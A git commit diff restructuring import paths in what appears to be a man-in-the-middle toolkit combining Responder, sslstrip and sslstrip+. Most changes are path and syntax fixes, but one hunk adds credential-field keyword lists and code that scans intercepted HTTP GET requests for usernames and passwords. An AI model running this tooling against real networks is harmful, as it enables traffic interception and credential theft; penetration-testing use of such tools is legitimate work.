major dir tree overhaul

libs/responder/Fingerprint.py

@@ -17,7 +17,7 @@
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import re,sys,socket,struct,string
 from socket import *
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 class Packet():
     fields = OrderedDict([

libs/responder/FingerprintRelay.py

@@ -17,7 +17,7 @@
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import re,socket,struct
 from socket import *
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 class Packet():
     fields = OrderedDict([

libs/responder/HTTPPackets.py

@@ -16,7 +16,7 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 from base64 import b64decode,b64encode
 
 class Packet():

libs/responder/HTTPProxy.py

@@ -16,7 +16,7 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 from base64 import b64decode,b64encode
 
 class Packet():

libs/responder/IMAPPackets.py

@@ -16,7 +16,7 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 class Packet():
     fields = OrderedDict([

libs/responder/Icmp-Redirect.py

@@ -17,7 +17,7 @@
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import sys,socket,struct,optparse,random,pipes
 from socket import *
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 from random import randrange
 from time import sleep
 from subprocess import call

libs/responder/LDAPPackets.py

@@ -17,7 +17,7 @@
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 class Packet():
     fields = OrderedDict([

libs/responder/RAPLANMANPackets.py

@@ -1,5 +1,5 @@
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 def longueur(payload):
     length = struct.pack(">i", len(''.join(payload)))

libs/responder/RelayPackets.py

@@ -15,7 +15,7 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 class Packet():
     fields = OrderedDict([

libs/responder/Responder.py

@@ -1972,8 +1972,8 @@ class SSlSock(ThreadingMixIn, TCPServer):
     def __init__(self, server_address, RequestHandlerClass):
         BaseServer.__init__(self, server_address, RequestHandlerClass)
         ctx = SSL.Context(SSL.SSLv3_METHOD)
-        cert = config.get('HTTPS Server', 'cert'))
-        key =  config.get('HTTPS Server', 'key'))
+        cert = config.get('HTTPS Server', 'cert')
+        key =  config.get('HTTPS Server', 'key')
         ctx.use_privatekey_file(key)
         ctx.use_certificate_file(cert)
         self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
@@ -2328,7 +2328,7 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
     def server_bind(self):
         if OsInterfaceIsSupported(INTERFACE):
             try:
-                self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface+'\0')
+                self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface)
             except:
                 pass
         UDPServer.server_bind(self)
@@ -2386,8 +2386,9 @@ def serve_thread_udp(host, port, handler):
         else:
             server = ThreadingUDPServer((host, port), handler)
             server.serve_forever()
-    except:
-        print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
+    except Exception, e:
+        print "[-] Error starting TCP server on port " + str(port) + ": " + str(e) 
+        print "Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
 
 def serve_thread_udp_MDNS(host, port, handler):
     try:
@@ -2440,13 +2441,15 @@ def start_responder(options, ipaddr):
     global Basic; Basic = options.Basic
     global Finger_On_Off; Finger_On_Off = options.Finger
     global INTERFACE; INTERFACE = options.interface
-    global BIND_TO_Interface; BIND_TO_Interface = options.interface 
+    global BIND_TO_Interface; BIND_TO_Interface = options.interface
     global Verbose; Verbose = options.Verbose
     global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth
     global AnalyzeMode; AnalyzeMode = options.Analyse
+    global ResponderPATH; ResponderPATH = "./logs/"
 
     #Read the responder.conf file
-    global config; config = ConfigParser.ConfigParser()
+    global config
+    config = ConfigParser.ConfigParser()
     config.read('./config/responder.conf')
 
     On_Off = config.get('Responder Core', 'HTTP').upper()
@@ -2495,13 +2498,18 @@ def start_responder(options, ipaddr):
     #StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
     #logging.warning(StartMessage)
 
-    #Log2Filename = str("./logs/LLMNR-NBT-NS.log"))
-    #logger2 = logging.getLogger('LLMNR/NBT-NS')
-    #logger2.addHandler(logging.FileHandler(Log2Filename,'w'))
+    
+    global Log2Filename
+    Log2Filename = str("./logs/LLMNR-NBT-NS.log")
+    global logger2
+    logger2 = logging.getLogger('LLMNR/NBT-NS')
+    logger2.addHandler(logging.FileHandler(Log2Filename,'w'))
 
-    #AnalyzeFilename = str("./logs/Analyze-LLMNR-NBT-NS.log"))
-    #logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
-    #logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
+    global AnalyzeFilename
+    AnalyzeFilename = str("./logs/Analyze-LLMNR-NBT-NS.log")
+    global logger3
+    logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
+    logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
 
     AnalyzeICMPRedirect()
 
@@ -2530,7 +2538,7 @@ def start_responder(options, ipaddr):
         start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off
 
         print banner
-        #print start_message
+        print start_message
 
 
         if AnalyzeMode:
@@ -2556,7 +2564,8 @@ def start_responder(options, ipaddr):
         thread.start_new(serve_thread_udp,('', 88, KerbUDP))
         thread.start_new(serve_thread_udp,('', 137,NB))           #NBNS
         thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR
+
         while num_thrd > 0:
-            time.sleep(1)
+            time.sleep(0.1)
     except KeyboardInterrupt:
         exit()

libs/responder/SMBPackets.py

@@ -16,7 +16,7 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 class Packet():
     fields = OrderedDict([

libs/responder/SMTPPackets.py

@@ -16,7 +16,7 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 class Packet():
     fields = OrderedDict([

libs/responder/SQLPackets.py

@@ -16,7 +16,7 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
-from odict import OrderedDict
+from libs.responder.odict import OrderedDict
 
 class Packet():
     fields = OrderedDict([

libs/sslstrip/ClientRequest.py

@@ -33,7 +33,7 @@ from SSLServerConnection import SSLServerConnection
 from URLMonitor import URLMonitor
 from CookieCleaner import CookieCleaner
 from DnsCache import DnsCache
-from ProxyPlugins import ProxyPlugins
+from libs.sergioproxy.ProxyPlugins import ProxyPlugins
 
 class ClientRequest(Request):
 

libs/sslstrip/ServerConnection.py

@@ -20,9 +20,9 @@ import logging, re, string, random, zlib, gzip, StringIO, sys
 import plugins
 
 from twisted.web.http import HTTPClient
-from ResponseTampererFactory import ResponseTampererFactory
+from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory
 from URLMonitor import URLMonitor
-from ProxyPlugins import ProxyPlugins
+from libs.sergioproxy.ProxyPlugins import ProxyPlugins
 
 class ServerConnection(HTTPClient):
 

libs/sslstripkoto/AppCachePoisonClass.py

@@ -1,6 +1,6 @@
 import logging, re, os.path, time
 from datetime import date
-from libs.sslstrip.DummyResponseTamperer import DummyResponseTamperer
+from libs.sslstripkoto.DummyResponseTamperer import DummyResponseTamperer
 
 class AppCachePoisonClass(DummyResponseTamperer):
 

libs/sslstripkoto/DummyResponseTamperer.py

@@ -17,7 +17,7 @@
 #
 
 import logging
-from sslstrip.URLMonitor import URLMonitor
+from libs.sslstrip.URLMonitor import URLMonitor
 
 class DummyResponseTamperer:
 

libs/sslstripplus/ClientRequest.py

@@ -28,12 +28,12 @@ from twisted.internet import reactor
 from twisted.internet.protocol import ClientFactory
 
 from ServerConnectionFactory import ServerConnectionFactory
-from ServerConnectionHSTS import ServerConnection
-from SSLServerConnectionHSTS import SSLServerConnection
-from URLMonitorHSTS import URLMonitor
+from ServerConnection import ServerConnection
+from SSLServerConnection import SSLServerConnection
+from URLMonitor import URLMonitor
 from CookieCleaner import CookieCleaner
 from DnsCache import DnsCache
-from ProxyPlugins import ProxyPlugins
+from libs.sergioproxy.ProxyPlugins import ProxyPlugins
 
 class ClientRequest(Request):
 

libs/sslstripplus/SSLServerConnection.py

@@ -18,7 +18,7 @@
 
 import logging, re, string
 
-from ServerConnectionHSTS import ServerConnection
+from ServerConnection import ServerConnection
 
 class SSLServerConnection(ServerConnection):
 

libs/sslstripplus/ServerConnection.py

@@ -20,9 +20,9 @@ import logging, re, string, random, zlib, gzip, StringIO
 import plugins
 
 from twisted.web.http import HTTPClient
-from ResponseTampererFactory import ResponseTampererFactory
-from URLMonitorHSTS import URLMonitor
-from ProxyPlugins import ProxyPlugins
+from libs.ssltripkoto.ResponseTampererFactory import ResponseTampererFactory
+from URLMonitor import URLMonitor
+from libs.sergioproxy.ProxyPlugins import ProxyPlugins
 
 class ServerConnection(HTTPClient):
 
@@ -54,6 +54,17 @@ class ServerConnection(HTTPClient):
         self.contentLength    = None
         self.shutdownComplete = False
 
+        #these field names were stolen from the etter.fields file (Ettercap Project)
+        self.http_userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
+                                'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
+                                'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
+                                'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
+                                'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']
+
+        self.http_passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', 
+                                'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
+                                'passwort', 'passwrd', 'wppassword', 'upasswd']
+
     def getLogLevel(self):
         return logging.DEBUG
 
@@ -63,6 +74,18 @@ class ServerConnection(HTTPClient):
     def sendRequest(self):
         if self.command == 'GET':
             logging.info("%s Sending Request: %s"  % (self.client.getClientIP(), self.headers['host']))
+
+            #check for creds passed in GET requests.. It's surprising to see how many people still do this (please stahp)
+            for user in self.http_userfields:
+                username = re.findall("("+ user +")=([^&|;]*)", self.uri, re.IGNORECASE)
+
+            for passw in self.http_passfields:
+                password = re.findall("(" + passw + ")=([^&|;]*)", self.uri, re.IGNORECASE)
+
+            if (username and password):
+                message = "%s %s Possible Credentials (%s):\n%s" % (self.client.getClientIP(), self.command, self.headers['host'], self.uri)
+                logging.warning(message)
+
         self.plugins.hook()
         self.sendCommand(self.command, self.uri)
 

libs/sslstripplus/StrippingProxy.py

@@ -17,7 +17,7 @@
 #
 
 from twisted.web.http import HTTPChannel
-from ClientRequestHSTS import ClientRequest
+from ClientRequest import ClientRequest
 
 class StrippingProxy(HTTPChannel):
     '''sslstrip is, at heart, a transparent proxy server that does some unusual things.